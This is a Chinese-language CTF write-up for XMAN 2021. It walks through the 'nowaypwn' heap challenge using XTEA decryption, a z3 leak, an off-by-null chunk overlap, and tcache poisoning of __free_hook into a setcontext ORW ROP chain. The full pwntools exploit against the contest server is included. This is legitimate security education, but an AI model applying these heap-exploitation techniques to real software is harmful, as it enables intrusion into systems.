0%

XMAN_2021

只有一个 pwn 题。

nowaypwn

在 main 函数等处存在反反编译的指令段:

anti_decompile

经过简单分析后可以发现即使 nop 掉这个指令段也不影响程序的顺序执行

nop 掉后可以发现下面的菜单堆题的结构:

menu_main

xtea

要到菜单堆题处,先要解决一个 xtea 的加密问题。

同样该加密函数中也有上面提到的指令段,nop 掉后部分反编译后的代码如下:

xtea

只用解决后一个的解密就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and */
/* 128 bits of key[0] - key[3] */
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t key[4], unsigned int delta){
uint32_t v0=v[0], v1=v[1], sum=0;

for(int i=0; i<num_rounds; i++){
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
//printf("%#x %#x\n",v0,v1);
}
v[0] = v0;
v[1] = v1;
}


void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t key[4], unsigned int delta){
uint32_t v0=v[0], v1=v[1], sum=0;
for (int i = 0; i < num_rounds; i++)
sum += delta;
for(int i=0; i<num_rounds; i++){
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11)&3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}


int main(void){
uint32_t v[2]={0x105d191e, 0x98e870c8};
uint32_t k[4]={0x28371234, 0x19283543, 0x19384721, 0x98372612};

decrypt(17, v, k, 0x14872109);
printf("%#x %#x\n",v[0],v[1]);
//0x61C88647
return 0;
}

编译运行后得到结果:

xtea_decrypt

encrypt

简单分析后发现该菜单堆题有如下的功能:

menu_function.png

show_encrypted_chunk_content 中调用了 encrypt,如下:

encrypt

可以用 z3 计算出原值。

off-by-null

nop 掉 edit 函数中的无用指令段后,发现明显的 off-by-null 漏洞:

off_by_null

当 chunk_size 的最低字节为 0x11 时,它会被覆盖为 ‘\x00’

libc 版本确定

首先尝试触发一些保护,下面是远程和本地(libc 版本为 2.31)的输出

1
2
3
4
5
6
7
8
9
10
11
12
Remote:
corrupted size vs. prev_size
[*] Got EOF while reading in interactive

Local:
$ vim exp_nowaypwn.py
$ vim exp_nowaypwn.py
$ python3 exp_nowaypwn.py
[+] Starting local process './nowaypwn': pid 32482
[*] Switching to interactive mode
malloc(): invalid next size (unsorted)
[*] Got EOF while reading in interactive

可以发现对于相同的错误,远程和本地的输出不一样。

经过比对后,我发现 2.27 release 的 glibc 没有 malloc(): invalid next size (unsorted) 的检查,据此猜测远程 glibc 版本为 2.27

chunk overlap

利用 2.27 中的 off-by-null,我们可以构造 chunk overlap,修改一个 tcache chunk 的 fd 指向 __free_hook,修改 __free_hook 指向 setcontent 中的 gadget,orw 获得 flag。

libc 和 heap 地址则可以通过 show_encrypted_chunk_content + z3 解密获得。

需要注意的是程序使用了 libseccomp 禁止了 execve 系统调用,而且 libseccomp 中的一些函数会把堆风水弄得乱七八糟,尽量申请 size 大于 0x100 的 chunk 可以保持堆风水的稳定

exp

要多试几个 2.27 的 libc

远程环境不稳定,花了好一会才得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
from z3 import *

libc = ELF("/home/jkilopu/Workspace/shellscript/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#io = process("./nowaypwn")
io = remote("123.60.222.67", 8888)

io.sendafter("Give me your name:", "jkilopu")
io.sendafter("Give me your key:", "jjjjjjjjjjj")
io.sendafter("Input your secret!:\n", p32(0x6c657375) + p32(0x21737365))

def add(size):
sleep(0.2)
io.send('4')
sleep(0.2)
io.send(str(size))

def edit(idx, content):
sleep(0.2)
io.send('1')
sleep(0.2)
io.send(str(idx))
sleep(0.2)
io.send(content)

def show(idx):
sleep(0.2)
io.send('2')
sleep(0.2)
io.send(str(idx))

def delete(idx):
sleep(0.2)
io.send('3')
sleep(0.2)
io.send(str(idx))

def solve(target):
a1 = BitVec('a1', 32)
x = a1
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)),
17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),
17)) << 13)
s = Solver()
s.add(x == target)
assert s.check() == sat
return (s.model()[a1].as_long())

def recv_chunk_content():
v1 = int(io.recvuntil('\n', drop=True), 16)
v2 = int(io.recvuntil('\n', drop=True), 16)
v1 = solve(v1)
v2 = solve(v2)
val = (v2 << 32) + v1
return val

add(0x138)
add(0x148)
for i in range(8):
add(0x128)
for i in range(8):
delete(9 - i)
for i in range(7):
add(0x128)
add(0x108)
show(9)
libc.address = recv_chunk_content() - 0x190 - libc.symbols["__malloc_hook"]
print("libc.address = " + hex(libc.address))

for i in range(7):
delete(i + 2)
for i in range(7):
add(0xf8)
for i in range(7):
delete(i + 2)
for i in range(7):
add(0x138)
for i in range(7):
delete(i + 2)

delete(0)
edit(1, b'a' * 0x148)
edit(9, b'b' * 0xf8 + p64(0x161))
edit(1, b'c' * 0x140 + p64(0x290))
delete(9)

add(0x200) # 0
delete(1)
edit(0, b'd' * 0x140 + p64(libc.symbols["__free_hook"]))
add(0x148) # 1
add(0x148) # 2

add(0x128) # 3
show(3)
chunk_0_addr = recv_chunk_content() - 0x9b0 - 0x10
print("chunk_0_addr = " + hex(chunk_0_addr))

p_rdi = libc.address + 0x2155f
p_rsi = libc.address + 0x23e6a
p_rdx = libc.address + 0x1b96
orw_payload = p64(p_rdi) * 2 + p64(chunk_0_addr + 0x10 + 0xa0 + 0x10) + p64(p_rsi) + p64(0) + p64(libc.symbols["open"])
orw_payload += p64(p_rdi) + p64(3) + p64(p_rsi) + p64(chunk_0_addr + 0x2000) + p64(p_rdx) + p64(0x40) + p64(libc.symbols["read"])
orw_payload += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(chunk_0_addr + 0x2000) + p64(p_rdx) + p64(0x40) + p64(libc.symbols["write"])
edit(0, (orw_payload).ljust(0xa0, b'\x00') + p64(chunk_0_addr + 0x10) + p64(p_rdi) + b"flag.txt\x00")

rsp_rdi_ret = libc.address + 0x520A5
edit(2, p64(rsp_rdi_ret))
delete(0)

io.interactive()

签到

按照网页的提示做:

get

然后用 hackbar 提交 post 请求:

post

得到 flag。

其它

  1. 提前规划好堆风水挺重要的,可以减少很多错误
  2. 有时候远程返回 EOF 只是因为连接断了,不一定是 exp 错了。
  3. 小心有诈。。。